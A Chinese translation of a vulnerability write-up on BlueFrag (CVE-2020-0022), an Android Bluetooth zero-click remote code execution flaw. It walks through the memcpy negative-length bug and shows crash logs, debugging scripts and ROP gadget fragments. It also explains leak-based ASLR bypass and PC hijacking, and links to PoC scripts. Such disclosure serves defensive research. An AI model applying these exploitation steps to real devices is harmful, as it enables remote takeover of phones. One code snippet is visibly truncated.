天天看點

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

如今,藍牙已成為移動裝置不可或缺的一部分,智能手機與智能手表和無線耳機互連。預設情況下,大多數裝置都配置為接受來自附近任何未經身份驗證的裝置的藍牙連接配接,藍牙資料包由藍牙晶片(也稱為控制器)處理,然後傳遞到主機(Android,Linux等),晶片上的固件和主機藍牙子系統都是遠端代碼執行(RCE)攻擊的目标。

大多數經典藍牙實作中可用的一項函數是通過藍牙ping應答,攻擊者隻需知道裝置的藍牙位址即可。即使無法發現目标,如果目标被尋址,它通常也會接受連接配接。例如,攻擊者可以運作l2ping,後者會建立L2CAP連接配接并将回應要求發送到遠端目标。

在下文中,我們描述了針對Android 9的藍牙零點選短距離RCE攻擊,該漏洞被配置設定了CVE-2020-0022。我們已完成在Samsung Galaxy S10e上建立遠端shell所需的所有步驟,在2019年11月3日報告此漏洞時使用最新的Android 9,該漏洞利用的漏洞仍然存在于Android中10,但我們利用了Bionic(Android的libc實作)中的另一個bug ,這使得利用方式更加容易。該漏洞最終在A-143894715中的1.2.2020版本的安全更新檔中得到修複。

這是PoC的示範:

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析
android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析
android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析
android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

https://www.youtube.com/watch?v=lrZnZNyEqFg&feature=youtu.be

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x01 準備工作

在InternalBlue和Frankenstein上有一些對Braodcom藍牙固件的研究。InternalBlue最初是由Dennis Mantz編寫的,它與固件互動可以添加調試函數,在該項目中,完成了許多逆向工作對固件的詳細資訊進行了梳理。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

為了進行進一步的分析,我們編譯了Frankenstein,可以模拟固件進行Fuzzing,要實作固件仿真,必不可少的部分是了解Bluetooth Core Scheduler(BCS)。該元件非常重要,因為它還可以處理資料包和Payload頭,并管理時間緊迫的任務。有些低級函數無法從主機通路,甚至無法在固件本身的線程元件内通路,通過通路BCS,我們甚至能夠将原始無線幀注入到仿真固件中。

用Frankenstein進行Fuzzing時,我們重點研究了配對之前出現的漏洞。在協定的這些部分中,我們發現了兩個漏洞,一個是經典藍牙漏洞,另一個是低功耗藍牙(BLE)漏洞。第一個堆溢出是在處理藍牙掃描結果(EIR資料包)時,影響了編譯日期在2010 -2018年之間的固件,甚至更老的固件可能也會受影響(CVE-2019-11516)。為此,我們于2019年4月向Broadcom提供了完整的RCE概念證明(PoC)。報告釋出後,Broadcom聲稱他們知道此漏洞,實際上,最新的Samsung Galaxy S10e有一個更新檔程式。自藍牙4.2之後,第二個堆溢出會影響所有BLE資料包資料單元(PDU),我們于2019年6月向Broadcom提供了PoC,該PoC會破壞堆棧。據我們所知,該漏洞截至2020年2月尚未修複。

在研究PoC以及如何将大量資料放入堆中的思路時,我們還研究了經典的藍牙異步連接配接(ACL)資料包。這些主要用于資料傳輸,例如音樂流,網絡共享或更一般的L2CAP。在固件内,ACL處理相對簡單,有很多更複雜的處理程式和專有協定擴充,例如,Jiska Classen發現了連結管理協定(LMP)類型混淆漏洞(CVE-2018-19860)。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x02 Fuzz ACL

這篇文章中描述的漏洞是在ACL中觸發的。我們通過對資料包和有效載荷報頭執行位翻轉來Fuzzing此協定。通過将固件bcs_dmaRxEnable挂在固件中來實作初始Fuzzer,該函數由BCS ACL任務調用。bcs_dmaRxEnable将無線幀複制到發送緩沖區。在執行此函數之前,資料包和有效載荷報頭已被寫入相應的硬體寄存器,是以,我們能夠在傳輸之前修改完整的資料包,進而在固件中編譯一個簡單的藍牙Fuzzer。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

在初始設定中,我們通過無線方式在Linux主機上對Android裝置進行l2ping操作,并且藍牙固件Fuzzer随機将标頭中的位翻轉。當我們嘗試使Android裝置的固件Crash時,Android Bluetooth守護程式Crash了。在日志中,我們觀察到一些Crash報告,如下所示:

 pid: 14808, tid: 14858, name: HwBinder:14808_  >>> com.android.bluetooth <<<

 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x79cde00000

     x0  00000079d18360e1  x1  00000079cddfffcb  x2  fffffffffff385ef  x3  00000079d18fda60

     x4  00000079cdd3860a  x5  00000079d18360df  x6  0000000000000000  x7  0000000000000000

     x8  0000000000000000  x9  0000000000000000  x10 0000000000000000  x11 0000000000000000

     x12 0000000000000000  x13 0000000000000000  x14 ffffffffffffffff  x15 2610312e00000000

     x16 00000079bf1a02b8  x17 0000007a5891dcb0  x18 00000079bd818fda  x19 00000079cdd38600

     x20 00000079d1836000  x21 0000000000000097  x22 00000000000000db  x23 00000079bd81a588

     x24 00000079bd819c60  x25 00000079bd81a588  x26 0000000000000028  x27 0000000000000041

     x28 0000000000002019  x29 00000079bd819df0

     sp  00000079bd819c50  lr  00000079beef4124  pc  0000007a5891ddd4

 backtrace:

     #00 pc 000000000001ddd4  /system/lib64/libc.so (memcpy+292)

     #01 pc 0000000000233120  /system/lib64/libbluetooth.so (reassemble_and_dispatch(BT_HDR*) [clone .cfi]+1408)

     #02 pc 000000000022fc7c  /system/lib64/libbluetooth.so (BluetoothHciCallbacks::aclDataReceived(android::hardware::hidl_vec const&)+144)

     [...]

memcpy在reassemble_and_dispatch内部以負長度執行,memcpy的簡化實作如下所示:

 void * memcpy(char * dest; char * src,size_t * n){

    for(size_t i = 0 ; i

     dst [i] = src [i];

 }

長度參數n為size_t類型,是以為無符号整數。如果我們将負數傳遞為n,由于二進制補碼表示,它将被解釋為大正數。

結果,memcpy試圖以無窮循環的方式複制記憶體,這會在我們遇到未映射的記憶體時立即導緻Crash。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x03 L2CAP 資料包

藍牙在各個層上實作分段。在分析此Crash的過程中,我們集中于在控制器和主機之間傳遞的L2CAP資料包的分,對于主機和控制器之間的指令和配置,使用主機控制器接口(HCI)即可。

L2CAP通過與HCI相同的UART線作為ACL資料包發送。需要将其分片為最大ACL資料包長度,在主機上的驅動程式初始化固件期間,HCI指令“ Read Buffer Size”。在Broadcom晶片上,此大小為1021,在将資料包發送到固件時,主機的驅動程式需要遵守這些大小限制。同樣,固件還會拒絕未通過适當分段的L2CAP輸入,由于主機上會發生分片和重新組裝,但是固件本身也有嚴格的大小限制,是以L2CAP對于主機和控制器上的堆利用非常有趣。

如果接收到一個L2CAP資料包,該資料包的長度比最大緩沖區大小1021長,則必須重新組裝它。部分資料包以連接配接句柄為鍵,存儲在partial_packets的映射中。配置設定足夠大以容納最終資料包的緩沖區,然後将接收到的資料複制到該緩沖區,最後收到的片段的末尾存儲在partial_packet-> offset中。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

以下資料包已設定了繼續标志,以訓示這是一個資料包片段。它是ACL标頭内連接配接句柄中的第12位,如果接收到這樣的分組,則将分組内容複制到先前的偏移。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

static void reassemble_and_dispatch(UNUSED_ATTR BT_HDR *packet) {

       [...]

       packet->offset = HCI_ACL_PREAMBLE_SIZE;

       uint16_t projected_offset =

           partial_packet->offset + (packet->len - HCI_ACL_PREAMBLE_SIZE);

       if (projected_offset >

           partial_packet->len) {  // len stores the expected length

         LOG_WARN(LOG_TAG,

              "%s got packet which would exceed expected length of %d."

              "Truncating.",

              __func__, partial_packet->len);

         packet->len = partial_packet->len - partial_packet->offset;

         projected_offset = partial_packet->len;

       }

       memcpy(partial_packet->data + partial_packet->offset,

          packet->data + packet->offset, packet->len - packet->offset);

       [...]

 }

如上面的代碼所示,此步驟将導緻memcpy負長度。在我們得到一個資料包并且隻剩下2個位元組要接收的情況下,如果連續時間比預期的長,則将packet-> length截斷以避免緩沖區溢出,長度設定為剩餘要複制的位元組數。

由于我們需要跳過HCI和ACL前同步碼,是以使用HCI_ACL_PREAMBLE_SIZE(4)作為資料包偏移量,然後從要複制的位元組數中減去它,導緻memcpy的負長度為-2 。

此漏洞已在android-8.0.0_r43,android-8.1.0_r73,android-9.0.0_r53和android-10.0.0_r29中安裝了一個修複程式。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x04 分析 Crashs

由于最終會遇到無休止的memcpy,是以上述bug似乎無法利用。但是,偶爾會在不同的位置Crash,例如,以下Crash位于同一線程中,但無法通過簡單的無限memcpy循環來解釋。是以,我們希望在某處找到另一個漏洞。

 pid: 14530, tid: 14579, name: btu message loo  >>> com.android.bluetooth <<<

 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x7a9e0072656761

     x0  0000007ab07d72c0  x1  0000007ab0795600  x2  0000007ab0795600  x3  0000000000000012

     x4  0000000000000000  x5  0000007a9e816178  x6  fefeff7a3ac305ff  x7  7f7f7f7f7fff7f7f

     x8  007a9e0072656761  x9  0000000000000000  x10 0000000000000020  x11 0000000000002000

     x12 0000007aa00fc350  x13 0000000000002000  x14 000000000000000d  x15 0000000000000000

     x16 0000007b396f6490  x17 0000007b3bc46120  x18 0000007a9e81542a  x19 0000007ab07d72c0

     x20 0000007ab0795600  x21 0000007a9e817588  x22 0000007a9e817588  x23 000000000000350f

     x24 0000000000000000  x25 0000007ab07d7058  x26 000000000000008b  x27 0000000000000000

     x28 0000007a9e817588  x29 0000007a9e816340

     sp  0000007a9e8161e0  lr  0000007a9fde0ca0  pc  0000007a9fe1a9a4

 backtrace:

     #00 pc 00000000003229a4  /system/lib64/libbluetooth.so (list_append(list_t*, void*) [clone .cfi]+52)

     #01 pc 00000000002e8c9c  /system/lib64/libbluetooth.so (l2c_link_check_send_pkts(t_l2c_linkcb*, t_l2c_ccb*, BT_HDR*) [clone .cfi]+100)

     #02 pc 00000000002ea25c  /system/lib64/libbluetooth.so (l2c_rcv_acl_data(BT_HDR*) [clone .cfi]+1236)

     [...]

我們花了幾天來追蹤這些Crash,并将Fuzzing設定修改為可重制。但是,不可能通過重播資料包來重制這些有趣的Crash。調試過程中的主要漏洞是我們沒有使用位址清理器來編譯Android,它将在随機位置Crash之前檢測到記憶體損壞bug。是以,我們通過使L2Ping資料包的Payload保持恒定,可以将其與響應的Payload進行比較,如果同時進行資料更改,則會發生記憶體損壞,但尚未導緻Crash。運作一段時間後,我們會收到如下損壞的響應:

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

使用這種檢測方法,我們甚至能夠可靠地重制此行為。以下資料包組合将觸發它:

1. L2cap資料包,剩餘2個位元組用'A'填充

2. 持續時間比預期的包含“ B”的2個位元組長

在Android logcat中,我們可以觀察到以下漏洞消息:

 bt_hci_packet_fragmenter: reassemble_and_dispatch got packet which would

  exceed expected length of 147. Truncating.

此觸發看起來類似于上述漏洞。請注意,隻有最後一個位元組被破壞,而資料包的開頭仍然是正确的。此行為無法用源代碼和到目前為止我們所知道的資訊來解釋。保持緩沖區前兩個位元組完整或以這種受控方式覆寫指針和偏移的直接緩沖區溢出是不太可能的。在這一點上,我們決定在packet_fragmenter中設定斷點,以觀察在何處修改了資料包資料。我們用下面的GDB腳本調試這種行為,而reassemble_and_dispatch + 1408和reassemble_and_dispatch + 1104是兩個memcpy在reassemble_and_dispatch如前所述的調用。

 b reassemble_and_dispatch

 commands; x/32x $x0; c; end

 b dispatch_reassembled

 commands; x/i $lr; x/32x $x0; c; end

 b *(reassemble_and_dispatch+1408)

 commands; p $x0; p $x1;p $x2; c; end

 b *(reassemble_and_dispatch+1104)

 commands; p $x0; p $x1; p $x2; c; end

對于第一個包含“ A”的資料包,我們可以觀察以下日志。它按預期收到,并且第一個memcpy的長度為0x52位元組。該長度在資料包内部的BT_HDR結構中也可見,并且是正确的。ACL和L2CAP标頭中包含的長度比實際Payload長兩個位元組,以觸發資料包的資料包重組。HCI标頭中的連接配接句柄為0x200b,訓示連接配接句柄0x0b的起始資料包。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

第二個資料包也以reassemble_and_dispatch正确到達,并且連接配接句柄已更改為0x100b,并訓示連續資料包。如上所述,memcpy的第三個參數是0xfffffffffffffffe aka -2。由于memcpy将第三個參數視為無符号整數,是以該memcpy将導緻Crash。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

但顯然,應用程式繼續運作并破壞了部分資料包的最後66個位元組,并且已破壞的資料包被傳遞給dispatch_reassembled。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析
android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x05 memcpy實作

如果我們仔細看一下memcpy的實作,它比上面顯示的簡單的按字元顯示的memcpy更複雜。複制整個記憶體字(而不是單個位元組)效率更高。此實作将其進一步發展,并在将寄存器内容寫入目标位置之前用64位元組的記憶體内容填充寄存器。這樣的實作更加複雜,并且必須考慮邊緣情況,例如奇數長度和位址未對齊。

該memcpy實作中存在有關負長度的怪異行為。當我們嘗試複制到目标緩沖區的末尾時,我們用第二個資料包的前一個覆寫了L2Ping請求的最後66個位元組。我們編寫了這個簡短的PoC來測試memcpy。

 int main(int argc, char **argv) {

     if (argc < 3) {

         printf("usage %s offset_dst offset_src\n", argv[0]);

         exit(1);

     }

     char *src = malloc(256);

     char *dst = malloc(256);

     printf("src=%p\n", src);

     printf("dst=%p\n", dst);

     for (int i=0; i<256; i++) src[i] = i;

     memset(dst, 0x23, 256);

     memcpy( dst + 128 + atoi(argv[1]),

             src + 128 + atoi(argv[2]),

             0xfffffffffffffffe );

     //Hexdump

     for(int i=0; i<256; i+=32) {

         printf("%04x:  ", i);

         for (int j=0; j<32; j++) {

             printf("%02x", dst[i+j] & 0xff);

             if (j%4 == 3) printf(" ");

         }

         printf("\n");

     }

 }

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

在Unicorn中模拟aarch64 memcpy實作進行了分析。相關代碼如下所示:

 prfm    PLDL1KEEP, [src]

 add srcend, src, count

 add dstend, dstin, count

 cmp     count, 16

 b.ls    L(copy16)           //Not taken as 0xfffffffffffffffe > 16

 cmp count, 96

 b.hi    L(copy_long)        //Taken as as 0xfffffffffffffffe > 96

 [...]

 L(copy_long):

 and tmp1, dstin, 15         //tmp1 = lower 4 bits of destination

 bic dst, dstin, 15

 ldp D_l, D_h, [src]

 sub src, src, tmp1

 add count, count, tmp1     

                             //It is not only too large

                             //but might also be positive!

                             //0xfffffffffffffffe + 0xe = 0xc

 ldp A_l, A_h, [src, 16]

 stp D_l, D_h, [dstin]

 ldp B_l, B_h, [src, 32]

 ldp C_l, C_h, [src, 48]

 ldp D_l, D_h, [src, 64]!

 subs    count, count, 128 + 16 

                                 //This  will become negative again

 b.ls    2f                      //So this branch is taken

 [...]

 //This will finally corrupt -64...64 bytes and terminate

 2:

 ldp E_l, E_h, [srcend, -64]

 stp A_l, A_h, [dst, 16]

 ldp A_l, A_h, [srcend, -48]

 stp B_l, B_h, [dst, 32]

 ldp B_l, B_h, [srcend, -32]

 stp C_l, C_h, [dst, 48]

 ldp C_l, C_h, [srcend, -16]

 stp D_l, D_h, [dst, 64]

 stp E_l, E_h, [dstend, -64]

 stp A_l, A_h, [dstend, -48]

 stp B_l, B_h, [dstend, -32]

 stp C_l, C_h, [dstend, -16]

 ret

當我們處理非常大的計數值(INT_MAX – 2)時,它将始終大于dst與src之間的距離,是以在我們的案例中将永遠不會調用__memcpy,這使得該漏洞在Android 10上無法利用。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x06 洩漏資料

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

如上所述,實際上,我們可以用源位址前面的内容覆寫資料包的最後64個位元組。源緩沖區之前的前20個位元組始終是BT_HDR,acl_hdr和l2cap_hdr。是以,我們會自動洩漏遠端裝置的連接配接句柄。

未初始化存儲器的内容取決于第二個資料包緩沖區的位置,并是以取決于其大小。通過重複發送正常的L2Ping回應要求,我們可以嘗試将自己的資料包資料放置在第二個資料包的前面。這使我們能夠用任意資料控制資料包的最後44個位元組。通過縮短第一個資料包,我們可以控制包括報頭的完整資料包結構。

第一個資料包如下所示:

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

觸發漏洞後,損壞的資料包如下所示。包含“ X”的資料包是我們放在源緩沖區前面的資料包。請注意,除了BT_HDR中的長度,資料包的長度現在是0x280而不是0x30。packet->len字段必須仍然是原來的長度,否則,重新組裝的資料會混亂。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

這将導緻更多的資料洩漏。而且,這是僅對資料的攻擊,無需執行代碼或任何其他附加資訊。它也可以用于将任意的L2CAP流量注入到活動的連接配接句柄中。成功的資料洩漏如下所示:

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

為了克服位址空間布局随機化(ASLR),我們需要一些庫的基址。我們在堆上的libicuuc.so中找到一個對象,該對象具有以下結構:

· 一些堆指針

· 指向libicuuc.so中的uhash_hashUnicodeString_60的指針``

· 指向libicuuc.so上的uhash_compareUnicodeString_60的指針``

· 指向libicuuc.so上的uhash_compareLong_60的指針``

· 指向libicuuc.so上的uprv_deleteUObject_60的指針``

我們可以使用這些函數之間的偏移量來可靠地檢測洩漏中的這種結構,這使我們能夠計算libicuuc.so的基址。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x07 控制PC和paylaod位址

某些庫,例如libbluetooth.so,受Clang的調用完整性(CFI)實作的保護。這樣可以保護用任意位址覆寫堆上的函數vtable,隻有屬于受影響對象的函數才可以調用。即使斷開連接配接後,在破壞堆之後,我們偶爾也會觸發以下Crash。

 signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x37363534333231

     x0  3837363534333231  x1  000000750c2649e0  x2  000000751e50a338  x3  0000000000000000

     x4  0000000000000001  x5  0000000000000001  x6  00000075ab788000  x7  0000000001d8312e

     x8  00000075084106c0  x9  0000000000000001  x10 0000000000000001  x11 0000000000000000

     x12 0000000000000047  x13 0000000000002000  x14 000f5436af89ca08  x15 000024747b62062a

     x16 000000750c2f55d8  x17 000000750c21b088  x18 000000750a660066  x19 000000751e50a338

     x20 000000751e40dfb0  x21 000000751e489694  x22 0000000000000001  x23 0000000000000000

     x24 000000750be85f64  x25 000000750a661588  x26 0000000000000005  x27 00000075084106b4

     x28 000000750a661588  x29 000000750a65fd30

     sp  000000750a65fd10  lr  000000750c264bb8  pc  000000750c264c5c

 backtrace:

     #00 pc 00000000000dbc5c  /system/lib64/libchrome.so (base::WaitableEvent::Signal()+200)

     #01 pc 00000000000add88  /system/lib64/libchrome.so (base::internal::IncomingTaskQueue::PostPendingTask(base::PendingTask*)+320)

     [...]

     #09 pc 00000000002dd0a8  /system/lib64/libbluetooth.so (L2CA_DisconnectRsp(unsigned short) [clone .cfi]+84)

     #10 pc 0000000000307a08  /system/lib64/libbluetooth.so (sdp_disconnect_ind(unsigned short, bool) [clone .cfi]+44)

     #11 pc 00000000002e39d4  /system/lib64/libbluetooth.so (l2c_csm_execute(t_l2c_ccb*, unsigned short, void*) [clone .cfi]+5500)

     #12 pc 00000000002eae04  /system/lib64/libbluetooth.so (l2c_rcv_acl_data(BT_HDR*) [clone .cfi]+4220)

     [...]

在洩漏過程中,我們不僅會向負方向溢出,還會破壞存儲在受影響緩沖區之後的資料。在這種情況下,我們已經覆寫了存儲在X0中的指針。 通過檢視代碼中的位置,我們使指令在X0控制的分支寄存器之前Crash。

 dbc5c: f9400008 ldr x8, [x0] // We control X0

 dbc60: f9400108 ldr x8, [x8]

 dbc64: aa1403e1 mov x1, x20

 dbc68: d63f0100 blr x8 // Brach to **X0

如果我們知道一個可以存儲任意資料的位址,則可以控制pc!沒有啟用CFI編譯libchrome.so。我們的資料包資料必須存儲在堆中的某個地方,但是還需要一種方法來檢索位址以獲得RCE。這是由于部分資料包以連接配接句柄為鍵存儲在哈希圖中的:

 BT_HDR* partial_packet =

          (BT_HDR*)buffer_allocator->alloc(full_length + sizeof(BT_HDR));

 [...]

 memcpy(partial_packet->data, packet->data, packet->len);

 [...]

 partial_packets[handle] = partial_packet;

這将在堆上配置設定一個映射對象,其中包含鍵(handle)和一個指向我們資料包的指針。最終,我們可以洩漏該映射對象,進而顯示指向緩沖區的指針。通過使用最大允許的資料包大小,我們有數百個位元組來存儲ROP鍊和Payload。

這種整體方法并不完全可靠,但在30%-50%的情況下有效。是以,位址空間僅在引導時随機配置設定。即使我們使守護程式Crash,它也會以相同的位址布局重新啟動,是以攻擊者可以反複嘗試獲得RCE。

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x08 調用system()

即使我們知道libicuuc.so的絕對位址,庫之間的偏移量也是随機的。是以,該庫中隻有可用的gadget。 該libicuuc.so中沒有系統調用函數。

我們沒有直接使用system或execve,但是我們有dlsym可用。該函數需要一個句柄(例如NULL指針)和一個函數名作為參數。它解析并傳回該函數的位址,可用于擷取system的位址。是以,我們需要執行一個函數調用并以受控方式從中傳回。在ROP中,這通常不是漏洞,因為gadget無論如何都必須以傳回結尾。但是,我們無法執行ROP所需的堆棧透視。是以,必須使用C ++對象調用來執行所需的操作,這些操作通常相對于X8或X19。結果,我們的Payload中有很多相對引用,為了跟蹤已經使用的偏移量,我們實作了一個名為set_ptr(payload,offset,value)的函數,如果已經使用了Payload中的給定偏移量,則會抛出錯誤。

為了從dlsym幹淨地傳回,我們使用了一個名為u_cleanup_60的解構函數。如果指針不為NULL,它将周遊函數清單,然後調用并清除位址。這非常友善,因為我們可以調用dlsym并可以在傳回後控制執行,而無需使用堆棧視圖。

 ldr x8,[x19,#0x40 ];cbz x8,#0xbc128 ; blr x8; str xzr,[x19,#0x40 ]; 

 ldr x8,[x19,#0x48 ] ; cbz x8,#0xbc138 ; blr x8; str xzr,[x19,#0x48 ]; 

 ldr x8,[x19,#0x50 ];cbz x8,#0xbc148 ; blr x8; str xzr,[x19,#0x50 ]; 

 ldr x8,[x19,#0x58 ];cbz x8,#0xbc158 ; blr x8;

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析

0x09 總結

該漏洞最初送出給了Android安全團隊,并于2019年11月3日釋出PoC。它已于2020年2月1日修複,并得到 Android安全團隊的确認。

可在此處下載下傳測試腳本。ROP鍊已從漏洞利用中删除,檔案包含以下檔案:

 https://insinuator.net/wp-content/uploads/2020/04/cve_2020_0022_export.tar.gz

 python2 simple_leak.py target PoC for the section “Unexpected leak”

 python2 fancy_leak.py target PoC for the section “Leaking More Data”

 python2 memcpy.py libc.so memcpy Unicorn emulation of memcpy for section “memwtf(,,-2);”

 python2 exploit.py target remote_libicuuc.so exploit excluding ROP chain

參考及來源:https://insinuator.net/2020/04/cve-2020-0022-an-android-8-0-9-0-bluetooth-zero-click-rce-bluefrag/

android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析
android crash沒有日志_BlueFrag:Android 藍牙零互動遠端代碼執行漏洞分析